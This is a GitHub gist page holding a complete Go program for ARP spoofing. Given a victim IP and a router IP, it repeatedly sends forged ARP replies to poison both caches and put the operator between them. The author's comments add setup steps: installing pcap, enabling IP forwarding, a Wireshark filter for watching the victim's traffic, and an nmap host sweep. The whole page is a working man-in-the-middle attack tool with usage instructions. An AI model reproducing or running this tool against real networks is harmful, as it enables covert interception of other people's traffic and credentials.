Skip to content

Instantly share code, notes, and snippets.

@doorbash
Last active June 22, 2020 13:19
Show Gist options
  • Save doorbash/5f31f5f48c7268491ec8d07eab1b29f3 to your computer and use it in GitHub Desktop.
Save doorbash/5f31f5f48c7268491ec8d07eab1b29f3 to your computer and use it in GitHub Desktop.
package main
import (
"bytes"
"errors"
"fmt"
"log"
"net"
"os"
"os/signal"
"sync"
"syscall"
"time"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
)
var vIP net.IP
var rIP net.IP
var vMac net.HardwareAddr
var rMac net.HardwareAddr
var mtx sync.RWMutex
var restore func()
func main() {
if len(os.Args) < 3 {
log.Fatal("Usage: arp-spoof victimIP routerIP. Example: arp-spoof 192.168.1.12 192.168.1.1")
}
vIP = net.ParseIP(os.Args[1])
rIP = net.ParseIP(os.Args[2])
vIP = vIP[len(vIP)-4:]
rIP = rIP[len(rIP)-4:]
setupCloseHandler()
ifaces, err := pcap.FindAllDevs()
if err != nil {
panic(err)
}
ifcs, err := net.Interfaces()
if err != nil {
panic(err)
}
for _, iface := range ifaces {
if err := scan(&iface, ifcs); err != nil {
log.Printf("interface %v: %v", iface.Name, err)
} else {
for {
}
}
}
fmt.Println("no interface found.")
}
func setupCloseHandler() {
c := make(chan os.Signal)
signal.Notify(c, os.Interrupt, syscall.SIGTERM)
go func() {
<-c
if restore != nil {
fmt.Println("\nRestoring what we did... just a sec...")
restore()
}
os.Exit(0)
}()
}
func scan(iface *pcap.Interface, ifcs []net.Interface) error {
var addr *net.IPNet
var ifc *net.Interface
for _, a := range iface.Addresses {
ipnet := &net.IPNet{
IP: a.IP,
Mask: a.Netmask,
}
if !ipnet.Contains(vIP) {
continue
}
if ip4 := ipnet.IP.To4(); ip4 != nil {
addr = &net.IPNet{
IP: ip4,
Mask: ipnet.Mask[len(ipnet.Mask)-4:],
}
var found bool = false
for _, iff := range ifcs {
var adr *net.IPNet
addrs, err := iff.Addrs()
if err != nil {
return err
}
for _, a := range addrs {
if ipnet, ok := a.(*net.IPNet); ok {
if ip4 := ipnet.IP.To4(); ip4 != nil {
adr = &net.IPNet{
IP: ip4,
Mask: ipnet.Mask[len(ipnet.Mask)-4:],
}
break
}
}
}
if adr != nil && adr.String() == addr.String() {
found = true
ifc = &iff
break
}
}
if found {
break
}
}
}
if ifc == nil || addr == nil {
return errors.New("no good IP network found")
} else if addr.IP[0] == 127 {
return errors.New("skipping localhost")
}
log.Printf("Using network range %v for interface %v (%v)", addr, iface.Name, ifc.Name)
// Open up a pcap handle for packet reads/writes.
handle, err := pcap.OpenLive(iface.Name, 65536, true, pcap.BlockForever)
if err != nil {
return err
}
defer handle.Close()
go readARP(handle, ifc)
for {
mtx.RLock()
if vMac == nil {
mtx.RUnlock()
if err := writeARP(handle, ifc.HardwareAddr, []byte(addr.IP), net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, vIP, layers.ARPRequest); err != nil {
log.Printf("error writing packets on %v: %v", iface.Name, err)
return err
}
time.Sleep(2 * time.Second)
continue
}
if rMac == nil {
mtx.RUnlock()
if err := writeARP(handle, ifc.HardwareAddr, []byte(addr.IP), net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, rIP, layers.ARPRequest); err != nil {
log.Printf("error writing packets on %v: %v", iface.Name, err)
return err
}
time.Sleep(2 * time.Second)
continue
}
mtx.RUnlock()
done := false
for {
if done {
return nil
}
if err := writeARP(handle, ifc.HardwareAddr, rIP, vMac, vIP, layers.ARPReply); err != nil {
log.Printf("error writing packets on %v: %v", iface.Name, err)
return err
}
time.Sleep(time.Second)
if done {
return nil
}
if err := writeARP(handle, ifc.HardwareAddr, vIP, rMac, rIP, layers.ARPReply); err != nil {
log.Printf("error writing packets on %v: %v", iface.Name, err)
return err
}
if restore == nil {
restore = func() {
done = true
if err := writeARP(handle, vMac, vIP, net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, rIP, layers.ARPReply); err != nil {
log.Printf("error writing packets on %v: %v", iface.Name, err)
return
}
time.Sleep(time.Second)
if err := writeARP(handle, rMac, rIP, net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, vIP, layers.ARPReply); err != nil {
log.Printf("error writing packets on %v: %v", iface.Name, err)
return
}
}
}
time.Sleep(3 * time.Second)
}
}
}
func writeARP(handle *pcap.Handle, srcMac net.HardwareAddr, srcIP net.IP, dstMac net.HardwareAddr, dstIP net.IP, op uint16) error {
if op == layers.ARPRequest {
log.Printf("Sending ARP: Who has %v? Tell %v", dstIP, srcIP)
} else if op == layers.ARPReply {
log.Printf("Sending ARP: Telling %v that %v is at %v", dstIP, srcIP, srcMac)
}
// Set up all the layers' fields we can.
eth := layers.Ethernet{
SrcMAC: srcMac,
DstMAC: dstMac,
EthernetType: layers.EthernetTypeARP,
}
var arpDstMac net.HardwareAddr
if dstMac.String() == "ff:ff:ff:ff:ff:ff" {
arpDstMac = net.HardwareAddr{0, 0, 0, 0, 0, 0}
} else {
arpDstMac = dstMac
}
arp := layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv4,
HwAddressSize: 6,
ProtAddressSize: 4,
Operation: op,
SourceHwAddress: []byte(srcMac),
SourceProtAddress: srcIP,
DstHwAddress: arpDstMac,
DstProtAddress: dstIP,
}
// Set up buffer and options for serialization.
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
gopacket.SerializeLayers(buf, opts, &eth, &arp)
if err := handle.WritePacketData(buf.Bytes()); err != nil {
return err
}
return nil
}
func readARP(handle *pcap.Handle, iface *net.Interface) {
src := gopacket.NewPacketSource(handle, layers.LayerTypeEthernet)
in := src.Packets()
for {
var packet gopacket.Packet
select {
case packet = <-in:
arpLayer := packet.Layer(layers.LayerTypeARP)
if arpLayer == nil {
continue
}
arp := arpLayer.(*layers.ARP)
if arp.Operation != layers.ARPReply || bytes.Equal([]byte(iface.HardwareAddr), arp.SourceHwAddress) {
// This is a packet I sent.
continue
}
var ip net.IP = net.IP(arp.SourceProtAddress)
var hw net.HardwareAddr = net.HardwareAddr(arp.SourceHwAddress)
if ip.Equal(vIP) {
mtx.Lock()
vMac = hw
mtx.Unlock()
log.Printf("%v is at %v", ip, hw)
} else if ip.Equal(rIP) {
mtx.Lock()
rMac = hw
mtx.Unlock()
log.Printf("%v is at %v", ip, hw)
}
mtx.RLock()
if vMac != nil && rMac != nil {
mtx.RUnlock()
return
}
mtx.RUnlock()
}
}
}
@doorbash
Copy link
Author

doorbash commented Jun 22, 2020

Pcap

Windows: Install npcap 0.99* from https://nmap.org/download.html
Ubuntu: sudo apt install libpcap0.8-dev

Usage:

arp-spoof victimIP routerIP. Example: arp-spoof 192.168.1.12 192.168.1.1

Packet forwarding:

Windows: https://serverfault.com/questions/929081/how-can-i-enable-packet-forwarding-on-windows
Linux: echo 1 > /proc/sys/net/ipv4/ip_forward

Wireshark

ip.addr eq 192.168.1.12

@doorbash
Copy link
Author

nmap -sP 192.168.1.0/24

@doorbash
Copy link
Author

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment